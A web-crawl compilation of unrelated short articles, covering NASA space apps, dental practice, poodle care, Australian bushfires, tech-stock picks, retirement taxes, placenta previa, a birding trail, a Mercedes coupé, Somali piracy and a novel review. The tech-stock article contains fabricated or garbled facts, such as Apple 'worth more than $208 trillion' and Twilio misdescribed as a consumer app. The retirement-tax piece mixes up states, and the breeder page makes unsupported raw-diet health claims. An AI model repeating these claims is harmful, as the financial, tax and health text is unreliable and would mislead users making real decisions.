This a web app is interesting, having found it on interestingly on Felicia Day’s tweet which she mentioned on NASA- Eyes on the Solar system, the application is very similar to the other apps of Star walk, and solar walk, the environmentally feel of the user interface, gives you real time translated computer simulation for mostly of the explorational probes position, also the Solar System of its Planets and moons, Dwarf planets. Asteroids, Comet positioning and spacecraft.
Also it’s quite helpfull to visualize where, how the process of the landing is performed in real timeish events and conditions.
One interesting thing about this Java based web application is it gives you directionally control of a 3d environment, changing the date and time view of what you would see during that temporal time stamp moment either it’s forward or past. Also it has its multimedia feed showing updates of each different item it has.
NASA-Explore Mars: Curiosity-Beta
This other web application came through a suggestion from a friend to check it out it’s pretty cool, it give you daily outline stories of what’s going on with Curiosity, also puts you in a 3D computer modelling environment of Gale Crater, where’s MSL- Curiosity (Mars Surveyor Lander) is home to for is duration off its mission, tanking around with its six wheeled self, exploring and adventuring where the team Curiosity at JPL takes it to.
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Dr. Frank Caputo discusses the importance of dentists focusing on mental health and balancing their successful practices and personal lives.
Do you remember hearing your inner voice during your last surgery? What about your reflections later that night? I know that anxious thoughts don’t feel great when your mind replays them.
“I hope my patients gave their full health history and follow my post-op instructions.”
“There’s a little extra bleeding. Let me check a few more times to make sure I didn’t perforate the lingual plate.”
“I hope Mr. Smith doesn’t have a numb lip tonight when the anesthesia wears off.”
We all have these thoughts no matter how skilled we are. As my colleague Dr. Ramsey Amin says, “The full arch practice ain’t for the faint of heart.” Prioritizing your mental fitness is as important to your success as hand skills and literature reviews. I invite you to reassess the difference between normal internal provocations and intrusive or unproductive thoughts, while providing you with helpful tips.
Once upon a time, I envisioned being in a practice strictly limited to dental implants with an emphasis on full arch rehabilitations. After hours of literature review and clinical education and practice, I’m a Diplomate of the American Board of Oral Implantology and owner of a thriving implantology practice. I live and practice my passion every day. But with the shift from “a general dentistry practice that offered implants” to “a practice limited to implants and dentures,” I’ve felt the realities of the mental load. I’ve realized the power in reframing my mental health from something I focus on in times of crisis to something I proactively practice to maintain peak performance in all parts of life.
Here are some tips to ease your implant journey.
For prep — Manage the patient’s surgical and prosthetic expectations. Sharing realistic information before the plan goes awry is always easier than explaining it after. It pays off twofold: First, when in surgery and you need to pivot from the plan, you can already quiet that internal voice, which begins nagging that “the patient won’t be happy.” Second, it’s easier for the informed patient to accept your new plan with confidence instead of second-guessing your skills.
For surgery — The best surgeons have a profound understanding of head and neck anatomy. To stave off intrusive thoughts, double-check your progress against the anatomy facts you know. Checklists serve well here. If you still find the thoughts lingering, try asking yourself, “Am I in a loop with these irrational scenarios?” Acknowledge unproductive thoughts (since you physically can’t ignore them); then work to refocus on advancing your procedure.
For the office — Enroll your team. Make sure the front desk knows what’s normal for post-op calls. Train them to clearly and calmly articulate patient’s concerns at the appropriate moment. Comments such as “Hey, Dr. Caputo, yesterday’s patient doesn’t like the teeth and is upset” can quickly dilute your focus in the operatory and trigger unproductive narratives in your head when you can’t address the issue.
For your fullest life — Be proactive, and find a therapist. Working on yourself in therapy is not just reserved for crisis. It’s a powerful path to high mental fitness and can increase fulfillment in your professional and personal life.
The goal is to find balance and have tools to quiet or stop internal anxieties, so you can deliver consistent results. These are personal reflections, not medical advice, and I hope you’ve found them helpful. Bonus tip — never underestimate the power of being overprepared for every procedure. As Dr. Amin (and Louis Pasteur) says, “Luck favors the prepared.”
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Evensong puppies are registered with the Canadian Kennel Club, and are home raised on raw food. They are from genetically screened breeding stock and are health guaranteed. The breeding stock has been tested for hips, eyes, Sebaceous Adenitis, VWD (Von Willebrand’s Disease by DNA), and thyroid.
Puppies do not leave until after 8 weeks of age. They will have at least one set of immunizations and will be microchipped for identification. Pet puppies are sold on a non-breeding basis.
- reward good behaviour, especially when training
- puppy proof the area where your puppy will be
- never slap or hit a puppy to discipline it. Dogs understand glowers, growls, nips, and shaking the scruff of the neck
- give your puppy a name and use it often in a positive tone
- establishing pack order is very important in a dog’s life. establish yourself and your family/kids as higher in the pack
- consistency when potty training is essential! all puppies do best on a routine or schedule
- reward the puppy immediately when it goes potty
- remove the water dish in the evening after supper is finished, which can help the puppy to hold its bladder overnight when they are old enough to do so
Evensong poodles are raised and thrive on a raw food diet.
- the diet is a more natural way of eating based upon real meat with a balance provided through the addition of fruits, vegetables, dairy products, fish, eggs, etc.
- the diet helps to support the development of a strong immune system
- promotes healthy skin and coat
- helps pets suffering from allergies
- promotes the development of healthy teeth and gums, reduces bad breath
- reduces the amount of stool since the food is used by the body rather than excreted
- since there is very little or no grain in the diet, the stool odor is reduced
- reduces need for veterinary care and related expenses
- reduces shedding of coat
Any of the below choices mixed together will form a healthy diet.
- raw ground beef, pork, lamb, chicken/turkey and organs such as beef liver but in smaller proportions
- raw boneless fish
- cottage cheese, regular cheese and yogurt
- fresh pureed veggies
- frozen veggies, such as beans, peas, carrots, etc.
- raw eggs
- fresh milk
- raw rib bones and chicken feet are enjoyed as treats
Since feeding raw, their poops are very small and easy to clean up. There is better absorption with raw food and you may even find that your dog will drink less water.
Puppies also may need more than that, so we do the "rib test" often when we pet our dogs. Your poodle’s ribs should feel like a xylophone covered by a heavy sweatshirt when you run a flat hand over their ribcage. If you can hardly feel their ribs, then your dog is too fat and needs to have the amount of high protein feed cut back. If they are skin over bone, it’s time to deworm the dog and then increase the food (or if you’ve been feeding a lower quality kibble, you need to switch to a higher quality one).
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Australia Fires From Space At Night
Infrared pictures taken from space show thick plumes of toxic smoke billowing from the catastrophic bushfires in Australia.
Australia fires from space at night. In remote places without observers or at night fires can burn for hours before theyre reported. It shows a massive blanket of smoke emanating from active fires marked by. The Australian government responded by calling in 3000 reservists to help battle the fires.
The state of south australia. Related articles Staggering satellite images show Australia fires from space. Devastating views from space.
Images from a Maxar Technologies satellite in orbit show red flames visible from space as wildfires burn in a town east of Victoria called Orbost. Anatomy of a mega-blaze We reveal the inside story of Australias biggest bushfire. A photograph taken by the International Space Station shows bushfires raging across Australia.
A view of a. AUSTRALIA WKRN Australia is. New Australia fire images snapped from space show immense ash cloud.
Australia at night satellite image of the earth at night - australia from space stock pictures royalty-free photos images. Approximately 69 fires are still raging in NSW according to its Facebook page and more than 70 are burning to the south in Queensland. NASA reveals Australia fire in pics One picture taken on December 7 2019 shows an active ring of fire burning in the dead of night to the west of Newcastle.
According to one researcher Australia has been catapulted into the global disinformation space during the ongoing bushfire crisis. ISS astronauts have never seen fires at such terrifying scale. New South Wales has been worst hit.
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Why should you invest in tech stocks?
Tech stocks typically offer higher dividends than other types of stocks. Investing in tech companies is also less risky than investing in the stock market as a whole. The US economy has not seen as much volatility as it has in the past because of tech companies’ ability to adapt to change and innovate products and services quickly.
Investing in the stocks of companies that produce technology products is an excellent way to diversify your portfolio. Tech companies are for many investors the best stocks to buy now because they always seem to be innovating and improving.
There are a lot of reasons why investing in tech stocks is a smart choice. These reasons include the following:
1) Technology is constantly changing, so it’s hard for competitors to catch up.
2) The digital economy has created the most valuable companies in the world.
3) Tech stocks allow you to profit from emerging technologies.
4) It’s easy for investors to find information about tech stocks online.
Tech stocks can also provide a higher return on your money. Companies like Apple and Facebook have made millions for their investors. In the last ten years, Apple shares have increased by over 700%. In the same period, Facebook shares have increased by over 1300%. So investing in tech stocks can bring you big rewards.
Do tech stocks have higher returns?
After the digital boom of the early 2000s, tech stocks took a hit. As a result of too much speculation, technology stocks went downward, which also pushed many investors away. However, a few years later, tech stocks again attracted investors’ attention, with companies like Apple valued at only $120 billion in 2012 and today (November 2nd, 2021) worth more than $208 trillion.
Most of the tech stocks have higher returns because they have high-profile companies leveraging the great products they make. These brands include Apple, Facebook, Amazon, Netflix, and Google, among others.
To be added, however, that tech stocks are typically at higher risk than other investment options. But on average, the stock market has proved that the reward outweighs the risk.
There are two main things to consider when deciding if it’s the right time to invest in tech stocks. Firstly, are you looking for a quick boost, or are you willing to put in some work to reap the rewards?
Secondly, are you looking for quick growth, or are you looking for something stable with higher returns?
Indeed, over the long term, tech stocks are great investments. They tend to make higher returns on your money compared to other investment options. Tech stocks are not generally advised if you are looking for short-term negative performance.
What are tech stocks?
Tech stocks are a type of stock belonging to companies in the technology sector that are traded on the stock market.
The tech industry is one of the fastest-growing industries globally, with tech companies constantly innovating and expanding, with new goals and new products.
Tech stocks tend to be more volatile than other types of stocks, with prices rising sharply when good news comes out for them, but their prices fall just as quickly as bad news does.
To be considered a tech stock, the company must have a market capitalization of over $15 billion and be principally engaged in developing, manufacturing, or selling computers or computer-related goods and services. Tech stocks are also sometimes referred to as “high-tech” stocks.
Tech stocks can refer to many different types of companies, from software developers to semiconductor manufacturers. These companies use various technologies, including artificial intelligence and machine learning, to create new products and services.
Many investors have been investing in tech stocks recently because they pay high dividends and profits to investors. There are many different types of tech stocks, most of them in the hardware or software sector.
1. Hardware. A hardware company designs, produce and sells a product or service. Examples of hardware stocks include Apple and Google. As a general rule of thumb, the more functions a product has, the more profitable this tends to be. Therefore, hardware companies tend to become profitable much earlier. They also hold patents on specific aspects of their product to lock in a better profit margin.
2. Software. The software provides digital applications or software used for communication, productivity, and entertainment purposes. Examples of software stocks are Apple, Facebook, Microsoft, Netflix, Uber, Airbnb, and Twitter. The software market is enormous. However, as demand for software is increasing, the need for hardware is declining.
Top tech stocks to buy right now.
Tech stocks are on the rise. With the recent release of new iPhones, there’s been a lot of talk about Apple stock. Other tech companies are also seeing an upswing in their share prices. So if you’re looking for ways to diversify your portfolio, now might be the time to invest in some technology stocks. But which ones should you invest in?
Here are four top tech stocks to buy right now: Tesla, Airbnb, Nvidia, Twillio.
Why should you buy Tesla stock?
Investing in Tesla can be a great way to invest your money. As Elon Musk continues his work on the best electric sedan, the company is making more and more progress. In addition to a cheaper car, they also plan to open a factory in China and build their battery unit, which will reduce Tesla’s dependence on Panasonic.
Tesla is a company that has been rated one of the most valuable companies in the world. They’ve been able to do this because they’re working hard to make sustainable transportation possible for all people. Tesla has created a whole new industry that is disrupting the automobile market, and it could very well lead this generation into a new age of sustainable living.
Why is Tesla one of the best tech stocks to buy right now?
Tesla is a company that specializes in electric vehicles, battery storage systems, and solar roofs. The company’s headquarters are in Palo Alto, California. Tesla was founded by Elon Musk in 2003, who saw the opportunity of using electric cars to solve the issue of “range anxiety.” A decade ago, no one was sure if an electric car could be economical or practical enough for everyday use. Though some people still have their doubts about Tesla’s success, things are looking up for them. Here’s why Tesla is a good stock to invest in.
Tesla is one of the world’s most valuable automakers. It’s also one of the most polarizing stocks on Wall Street. Why? For starters, it has yet to turn a profit. It has $11.7 billion in long-term debt and $3 billion in cash on hand. And it faces stiff competition from carmakers like BMW, Daimler, Ford Motor Company, General Motors Company, Nissan Motor Co., and more.
But Tesla has also had some major successes throughout its history.
Airbnb (NASDAQ: ABNB)
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Why should you buy Airbnb stock?
Airbnb is the world’s leading provider of shared accommodations. The company was founded in 2008 and is now valued at $31.8 billion (USD). They operate in 191 countries with 8 million properties listed, 500,000 of which are entire homes or apartments for rent. Airbnb has become so popular that it is worth more than Hilton Hotels Corp., Wyndham Worldwide Corp., and Hyatt Hotels Corporation combined.
The company has achieved so much success because of its unique business model that allows people to rent their personal property for short-term stays. This offers many benefits to both guests and hosts alike. For guests, it provides an affordable way to travel without worrying about booking hotels or planning transportation.
Why is Airbnb one of the best tech stocks to buy right now?
Although many think that Airbnb stock falls into the hospitality industry, Airbnb is indeed a tech company. They provide an advanced tech platform that allows people to rent out their homes, apartments or any other type of residence for short periods. This is a great way to make some extra money and quickly make up for the costs associated with homeownership. The company has been so successful at it that they have recently gone public on the stock market!
Airbnb is a hospitality company that operates in more than 34,000 cities and 200 countries worldwide, with most of its listings located in cities. They provide a marketplace for people to list and rent lodging on a peer-to-peer basis. Founded in 2008 by Brian Chesky and Joe Gebbia, it was initially called Air Bed & Breakfast due to the founders’ lack of money for a traditional hotel’s startup costs. In 2017, they closed an IPO at $30/share, valued at $30billion. In keeping with their innovative approach to hospitality, they have been expanding their business model to include restaurants and other services offered by locals.
Nvidia (NASDAQ: NVDA)
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Why should you buy Nvidia stock?
Nvidia stock has been on a hot streak lately. At press time – November 2nd, 2021 – Nvidia reports a 98.86% price increase on the YTD chart. Nvidia is reporting Q3 2021 earnings on November 11th.
Nvidia’s stock price had steadily increased from its IPO of $83 in 2000 to over $271. Three reasons why Nvidia is poised for continued growth: improving margins, competitive positioning, and increasing demand for GPUs.
If you are an investor looking for new stock to invest in, Nvidia is a perfect choice. Nvidia is now the world leader in visual computing technology. They have helped shape how we interact with our computers, gaming platforms, and cars. They offer breakthroughs in deep learning and artificial intelligence, and they invent new ways of seeing and understanding the world.
Why is Nvidia one of the best tech stocks to buy right now?
Nvidia is a leading company in the design and manufacture of graphics processing units and artificial intelligence. Nvidia stock is a good investment in any tech portfolio with an impressive growth rate over the past few years. In addition to being a fantastic company with excellent performance, Nvidia offers a dividend of $0.14 per share every quarter. Buying this stock would be beneficial if you’re seeking long-term growth and stability in your investments.
In the coming years, the demand for chips that support the heavy processing of AI and gaming data will only increase as more people want access to virtual reality, augmented reality, and artificial intelligence technologies.
The near-term challenges will be offset by management’s focus on continued innovation, a strong balance sheet, and a track record of delivering results consistently. In addition, Nvidia has a strong business model, a great product portfolio, and excellent execution capabilities that make it an attractive investment for growth investors.
Twilio (NASDAQ: TWLO)
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Why should you buy Twilio stock?
Twilio stock has made recent headlines due to its notable growth. If you are an investor or are looking for a new opportunity, Twillo might be the company for you. Twilio is a cloud-based communications company that is best known for its voicemail-to-text service. The company was founded in 2009 and has quickly risen to become one of the major players in the industry.
Twilio is a mobile messaging app with strong competitive advantages compared to other players in this space. Unlike other apps, Twillo does not have ads or in-app purchases. Twilio also has a unique feature: you can call another person using the app without worrying about being charged. In addition, Twillo offers daily giveaways of either $1 or $5 worth of credits which you can use on the app. This is great because Twillo does not require any purchase or subscription to use the app daily.
Why is Twilio one of the best tech stocks to buy right now?
Twilio allows users to communicate with their contacts via text, video, or voice. The app is available for both iOS and Android devices. Twilio is a company that creates mobile phone applications, with their most successful apps being “Coupons4U” and “SIM Swap.” Twilio has been in business for just a few years, but it has already grown into a multimillion-dollar corporation. The company has now about 5 million monthly active users, which are mostly in the United States.
Twilio is known for its dedication to user privacy and security. The company was hacked in December 2015, but they still have consistently high ratings from users for their security features.
They also have an excellent track record when it comes to innovation. Twilio is a revolutionary new technology that connects people and businesses in real-time and makes it possible to communicate with anyone, anywhere, anytime. As a result, Twillo helps its users be more productive and efficient. Furthermore, Twillo is a company with a proven track record and an abundance of ambition that will enable them to continue growing for years to come. | <urn:uuid:16d362c3-3025-4daf-9690-9d3c5e3bb8f5> | CC-MAIN-2022-33 | https://www.trustbusinessnews.com/four-best-tech-stocks-to-buy-right-now/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882573172.64/warc/CC-MAIN-20220818063910-20220818093910-00272.warc.gz | en | 0.965908 | 2,706 | 1.578125 | 2 |
If you plan for retirement, let me tell you, it won’t be as easy as it sounds. But one of the essential factors is figuring out if you’ll have enough savings to retire somewhere you’re satisfied with.
Determining how much retirement income you’ll be eligible for isn’t hard, but the research into tax implications in each state can be daunting. That is unless you dedicate a lot of time to research or hire an advisor with a good understanding of local and national tax law.
Your local CPAs typically specialize in the specific state they live in, so it’s best to hire one in your area. You don’t have to chase all the thoughts and procedures with new tax laws of a different state, as this could lead to penalties or even revocation of the certificate.
To save you from some trouble, we have picked up the information for the top 5 states where you can live happily after your retirement.
There is a state income tax in Alabama, but it doesn’t include social security benefits in its taxable income calculations. That means you won’t need to pay taxes on your Social Security benefits.
Even if you relocate to Alabama before retirement, it’s a good idea not to worry too much. The state has the same marginal income tax rate as the federal income tax and for your sake, is similar to the current state-level average rates.The state has a marginal income tax structure much like the federal, with rates at 2% & 5%. Local taxes may be included in some cases.
You might not have heard of Alaska, but it’s earned the nickname “last frontier.” One reason is that it doesn’t tax state income – which can offer significant savings. If you want to avoid taxes in another state, look no further – Alaska also doesn’t have a sales tax!
Alaskans don’t have to pay state sales tax. So instead of spending 5% here, you would pay 6% in most other states. Property taxes average around 1-2%.
If you like the cold, nature and want to live in a remote state that’s out of the way, Alaska may be worth considering. They have a yearly payout from their permanent fund dividend, so it’s worth looking into.
Arizona has a tax-free policy for social security benefits, so you don’t have to worry about those being taxed!
If you know you’re going to retire in Arizona, you should know that their income tax rates range from 2.59% to 4.5%.
Sales tax in Massachusetts is 5.6%, and localities add 3% on top of that. Average property taxes are lower than the rest of the country.
If you relocate to Arizona ere you retire or desire to receive benefits; you will need to understand the state’s marginal tax rates. They range from 2.59% to 4.5%.
Property taxes in Florida are lower than the national average. Houses cost less here but higher costs for anything else.
Arkansas doesn’t tax your Social Security benefits since the state’s calculation for taxable income excludes them. You may be in one of the following tax brackets: 2%, 4.5%, 6.5%, 7% or 7.9%.
Arkansas does charge a 6.5% state sales tax and another 3% on average added by localities. The property taxes in Arkansas are below the national average.
Taxes in California are relatively high, but you don’t have to contend with a state income tax on your Social Security benefits. For retired pre-retirees, the tax rate will vary from 1% to 13.3%. Localities may add even more taxes or penalties.
California state sales tax is 7%, with localities adding around 1.5%. Property taxes are lower than the national average.
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There are many aspects of a person’s life that they tend to forget about. From forgetting to floss regularly to developing unhealthy habits, it becomes very easy for your dental health to slip through the cracks. Many people do not realize the importance of having a good dentist. If you have not kept up with your dental care, now is the time to find a new dentist Greenville, SC. The good news is that there are plenty of general dentists out there who will help you take care of your dental health needs so that you can live a healthier life without constantly worrying about your teeth.
What is a general dentist?
A general dentist is an expert on all aspects of dental health. They treat patients of all ages and can treat patients with dental problems as well as with preventative care advice. As a general dentist, the dentists will take on all aspects of your oral health: teeth, gum health, oral and facial skin. They may offer treatments for patients who suffer from gum disease, cavities, tooth impaction, oral pain, and oral & facial skin issues. These professionals are also called Cosmetic Dentists, Oral Pathologists, or Oral & Facial Skin Surgeons.
Why do you need a General Dentist?
A general dentist can provide a wide range of dental services that may include preventive services, restorative and cosmetic services, oral health education, and more. The dentist will also be able to offer you a complete oral health care assessment so that you can be made aware of any dental issues that you may have and take steps to prevent them from occurring in the future. A complete oral health care assessment will also help you determine what type of care you may need. If you have a missing tooth, a cavity, gum disease or any other dental issue, a general dentist will be able to assess the condition and provide you with treatment options.
Finding a Dentist in Greenville, SC
Fortunately, finding a dentist in Greenville, SC is not difficult at all. In fact, there are many different ways for you to do so. You can start by asking your family, friends, and relatives if they know any dentists in your area. You can also check online to see if there are any local directories that list dentists in your area. However, it is important to note that these directories are not reviewed by health professionals, so you may end up finding a dentist who is not qualified to treat you.
Finding the Best Dentists in Greenville, SC
Once you have found a dentist in Greenville, SC that you think would be a good fit for you, it is important that you schedule an appointment with them. Before making an appointment, you should take note of the dentist’s schedule. This way, you can make sure that you do not miss the appointment.
Once you have scheduled an appointment, it is important that you keep the appointment. This way, you show the dentist that you are serious about taking care of your dental health. Additionally, you should also ask the dentist any questions that you may have. Many dentists will offer you a complimentary examination and X-rays. You should take advantage of this offer and ask the dentist any questions that you may have. This way, you can receive the most accurate and thorough dental care possible.
What should you ask before choosing a dentist?
When you have found a potential dentist in Greenville, SC that you would like to schedule an appointment with, it is important that you ask yourself some questions. What are some of the most important questions that you would like to ask the dentist? – What is the average time that it will take to get my teeth cleaned? – How often do you recommend that I get my teeth cleaned? – What are some of the services that you provide? – Do you offer any additional services?
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Under normal conditions the placenta is attached to the Uterine Wall
With placenta previa, the placenta shifts downward and approaches the Cervix and often covers it. This is typically seen during the third trimester but can occasionally occur during the first or second trimesters as well..
It is one of the major reason for vaginal bleeding during pregnancy.
It can occur in nearly 0.5% of all pregnancies.
Symptoms are most often bleeding and a low blood pressure. But other symptoms may be seen. It is important to note that abdominal pain is not often seen.
If there is a lot of abdominal pain with bleeding – other medical conditions may be seen. This includes but is not limited to Placenta Abruption.
Treatment may include bed rest for those with a minimal discomfort or problem. Often the avoidance of sexual activity is recommended. Meeting with and following your doctor’s recommendations is important.
Most Common Symptoms:
– Vaginal bleeding – often bright red
– Often there is no pain involved
– Abdomen is often soft
1.) Type I – low lying – Approaches the lower uterus, not affecting the cervical os
2.) Type II – marginal – Touch the top of cervix
3.) Type III – partial – Partially covers top of cervix
4.) Type IV – complete – Entire top of cervix is covered
– A previous placenta previa
– A previous abortion
– A previous C-section delivery
– Large placenta
– Age – below 20 and above 30
– Ultrasound is very important in diagnosis of this condition
– Physical Exam
– Blood work may be beneficial
– Initially (20 years ago) treatment was provided solely inside hospitals once the diagnosis was made
– Today, more treatment is allowed on an outpatient basis, as long as mother and child are not in any distress.
– Also if fetus is less than 30 weeks
If distress is present:
1.) Immediate delivery may be the only option.
2.) Vaginal delivery is an option in some cases but many are delivered by C-section.
3.) The concerning factor for vaginal delivery is continued separation of the placenta and the uterus
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Little Beaver Creek Greenway Trail–Logtown Trailhead
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Ohio Birding Day Hike
Little Beaver Creek Greenway Trail
Tips for birding Little Beaver Creek Greenway Trail
The eleven mile long, paved Greenway Multi-Purpose Trail goes thru marsh area on the north end, then thru open fields, then thru hemlocks, and finally thru large sycamores paralleling the Middle Fork of Little Beaver Creek. For those who want to combine birding with bicycling, this is a dream ride. Sixty species are normally recorded in a four-hour ride. Near the Franklin Square Trailhead, in April 2010 an adult male Yellow-headed Blackbird was present for three days, a first for the county. Nests that have been found along the trail are Mute Swan, Green Heron, Pied-billed Grebe, Common Moorhen, Barred Owl, Wood Duck, Eastern Kingbird, Wild Turkey, Yellow-throated Warbler, and Spotted Sandpiper, just to name a few. About halfway along the trail is the Teegarden Covered Bridge Trailhead Area; at this location you transition from seeing and hearing Black-capped Chickadee to Carolina Chickadee. Here you easily find Belted Kingfisher, Cerulean Warbler, Blue-gray Gnatcatcher, and Baltimore Oriole. Dragonflies abound here, including the three inch plus Dragonhunter which can sometimes be found near the parking lot in late July.
From Bob Lane
About Little Beaver Creek Greenway Trail
The Little Beaver Creek Greenway Trail runs parallel to the Middle Fork of the Little Beaver Creek and has many beautiful and interesting features, including glacial outwashes, upland fields, mature ravine woodlots and wetland wildlife habitats. Remnants of the industrial past also dot the trail with the remains of lime kilns, pig iron furnaces, coal mines and coke ovens. The trail features a covered bridge and a connection to the Sandy Beaver Canal Towpath.
As a segment of the Great Ohio Lake to River Greenway, the Little Beaver Creek Greenway is a part of the trail system that begins in Ashtabula County and continues through Trumbull, Mahoning and Columbiana counties. When complete, the Great Ohio Lake to River Greenway will be more than 100 miles long.
Access the Little Beaver Creek Greenway Trail in Leetonia along OH-558 in Franklin Square and in Lisbon off OH-164 near Maple Street. Additional parking is available in Salem at Eagleton Road. Take OH-45 south to Teegarden Road (County Road 41 West) to the covered bridge. Parking and trail entrance are by the bridge. You can also pick up the trail from St. Jacobs-Logtown Road near Lisbon. Parking is limited at both ends and weekends can be quite crowded.
From Little Beaver Creek Greenway Trail webpage
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At the Frankfurt International Motor Show IAA, in September 1981, models 380 SEC and 500 SEC were presented. They were coupé variants of series 126, succeeding the previous SLC models. In concept, the new coupé generation once again was based on the S-Class saloons and not, as their direct predecessor, on an SL model. A 6-cylinder variant analogous to the 280 SLC was not available. The V8-engines, already know in principal from the saloons and the SLC models, had been thoroughly redesigned within the "Mercedes-Benz Energy Concept" in order to reduce consumption and pollutants.
Next to an increase of compression, a camshaft with changed timing, air-circulated injection valves and an electronic idle-speed control device stood on the list of improvements. Due to the changed cam shift adaptation the torque maximum could be shifted towards lower numbers of revolution. In case of the 3.8-liter engine it was even increased. This aggregate was thoroughly changed. In order to obtain a more favourable volume-surface ratio the bore was reduced and the stroke increased. Thus the modified 3.8-liter V8 showed a slightly increased displacement. In both 8-cylinders slight power reductions had to be taken into account, compensated, however, by a considerably improved economic efficiency. In both cases the rear axle transmission ratio was adapted to the changed characteristics of the engine. Thanks to all these measures the fuel consumption of the SEC coupés were drastically reduced in comparison to their preceding Types.
Except for a few details the chassis corresponded to the saloons on which the vehicle was based. Like those the coupés were also provided with a twin-control arm front axle as well as a semi-trailing arm rear axle with anti-squat control. For the first time the front wheels of the SEC coupés were equipped with floating calliper disk brakes. Thus larger brake disks could be used and the brake cylinder was located at the better cooled interior side of the wheel.
In principal the platform, too, came from the saloon. It was, however, reduced by 85 mm. Thus the wheelbase was 30 mm higher than in the preceding model. The passenger cabin was also much broader as in the SLC models. The body had been constructed according to the newest insights of safety research and the construction principles, already applied at the saloons, were reinforced by further measures. In order to compensate for the missing centre pillar the roof frame constructions had been improved and the A-pillars provided with welded-in high-strength pipes. Thus the coupés also corresponded to the high safety standards of the S-Class saloons. Electrically operated belt hand-overs were an interesting detail of equipment. They belonged to the standard version of the SEC models and had the task to bring the seat-belt at all four seats into the field of vision and to be easily obtainable for driver and passengers alike. On demand, an air bag for the driver and a seat-belt pretensioning device for the front passenger was available.
The design of the new coupés was also based on the four-door cars. A relict of the SLC episode was the horizontal front grill typical for the SL. From the very beginning, the most elegant and harmonic shape was a great success. It made the SEC coupé one of the most beautiful cars after the war. The two bumpers as well as the side protection strips were shaped analogous to the saloons. The front apron, however, was pulled further down, In it fog lamps were integrated. A remarkable construction detail were the aerodynamically optimised door handle recesses which prevented them from getting dirty. | <urn:uuid:962c7c19-0a28-4590-a0ea-6140f93143db> | CC-MAIN-2022-33 | https://mercedes-benz-publicarchive.com/marsClassic/en/instance/ko/126-series-S-Class-Coups-1981---1985.xhtml?oid=4544 | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882573699.52/warc/CC-MAIN-20220819131019-20220819161019-00272.warc.gz | en | 0.983835 | 755 | 1.773438 | 2 |
The deaths of four Americans, who were killed after their sailboat was hijacked by a group of Somali pirates, have galvanized the international maritime community into action. A coalition of shipping companies and seamen groups has launched a campaign that is aimed at putting more pressure on international governments to take action against piracy.
The four victims, including a California couple and their two friends from Seattle, were on an around-the-world voyage on their sailboat, when their vessel was hijacked by a Somali pirate gang. The U.S. Navy soon got involved in rescue efforts, but could not prevent the pirates from shooting and killing the four Americans. As maritime lawyers, we were horrified at the cold-blooded and brutal nature of the attacks. It’s rare to have pirate gangs gun down hostages like this. It’s clear now that the piracy problem is not going away anytime soon.
The campaign, called the SOS Save a Seafarer campaign has been launched by the International Chamber of Shipping, InterCargo, the International Shipping Federation and other groups. According to the organizers of the campaign, the aim of the effort is to encourage citizens in countries that are affected by the piracy menace, to put pressure on their governments to take more action against maritime piracy. It’s not as if there hasn’t been an initiative against piracy. Naval vessels from several countries patrol the waters off the Somali coastline looking out for pirate skiffs. However, an attack may not be that easy to foil. Sometimes a vessel takeover may be complete, by the time it takes a naval vessel to respond to the scene.
It’s clear that these meager steps to prevent piracy are not as effective as believed to be. We need to see a large-scale, concerted, collaborative international effort to eliminate piracy, and we see no signs of that. | <urn:uuid:ffee0148-3a3e-4da9-a61f-f2e02911575c> | CC-MAIN-2022-33 | https://www.smslegal.com/maritime-groups-organize-campaign-seamens-safety/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882573172.64/warc/CC-MAIN-20220818063910-20220818093910-00272.warc.gz | en | 0.972662 | 374 | 2.125 | 2 |
A Guide to Berlin
by Gail Jones
Published August, 2015
In his 1930s memoir Berlin Childhood around 1900, the philosopher Walter Benjamin writes from exile of Berlin on the cusp of modernity. Aware that he will most likely never see his home city again, Benjamin ruminates on how to write of an impending obsolescence in the past. ‘Images and allegories’, he insists, ‘preside over my thinking’.
Among the images governing Berlin Childhood are snowflakes:
But sometimes in winter, when I stood by the window in the warm little room, the snowstorm outside told me stories […] What it told, to be sure, I could never quite grasp, for always something new and unremittingly dense was breaking through the familiar. Hardly had I allied myself, as intimately as possible, to one band of snowflakes, than I realised they had been obligated to yield me up to another, which had suddenly entered their midst. But now the moment had come to follow, in the flurry of letters, the stories that had eluded me at the window.
The flurries Benjamin compares to the play of words on the page, his apprehension of snowflakes and stories (and allegory itself), while not describing the narrative of Gail Jones’ A Guide to Berlin, can be pressed to illuminate the book’s figurative gesture: something new and unremittingly dense breaking through the familiar.
Jones’s latest novel focuses on Cass Turner, a 26-year old Australian who travels to Berlin with the knowledge of the horror Benjamin foresaw, and with plans to write. She also carries a small hope that in Berlin she ‘might recover her own presence’, hinting at hidden personal catastrophe and shame that later emerge in the narrative.
Her ardour for the literature of Vladimir Nabokov sees her drawn to a group whose five other members share her fervour; they volley between themselves phrases from Nabokov’s stories to share, to impress, to seduce. Replacing with a hyphen the comma punctuating the imperative title of Nabokov’s autobiography, the group convenes to participate in ‘speak-memory disclosures’ at vacated dwellings in Berlin that are soon to be rented or sold. (Marco, the collective’s unofficial ‘leader’ works as a real-estate agent so has easy access to these rooms). The characters take turns across a number of weeks and gatherings to tell their life stories, which shape connections rather than invite comparisons. Each speak-memory is interlaced with Nabokov’s narratives, including his autobiography, and reveals an innermost vulnerability.
Nabokov’s memoir, with its spiralling narrative and ornate prose, is replete with acute distress. Like Benjamin, but in very different circumstances, Nabokov writes in his autobiography of a longing for a home to which he could not return because of the Bolshevik Revolution. Yet Speak, Memory is also a story of how the redemptive possibilities of memory might surmount loss. What is found in A Guide to Berlin is quite different, however: making memory speak does not necessarily ‘alleviate. … deep misery’; it might even worsen traumatic states, leading to tragic ends. Jones’s novel offers circumspection and sagacity, rather than homage, in its dialogue with one of the twentieth century’s greatest authors.
Jones’s work recurrently references literary works and writers. For instance, Five Bells, the novel that immediately precedes A Guide To Berlin, recalls Kenneth Slessor’s elegy on the death of Joe Lynch, Slessor’s friend who drowned at Circular Quay. The poem not only lends Jones’s novel its title; Five Bells also shares with Slessor’s poem a Sydney setting, a preoccupation with memory and time, and recognition of the limits of language in memorialising the dead. And A Guide To Berlin takes its name from a short story by Nabokov that is much discussed by the characters of A Guide to Berlin and prompts Cass and Victor – an American English professor, the oldest among the group, a man for whom Cass develops great affection – to visit the Berlin Aquarium to search out the tortoise Nabokov saw when writing his tale.
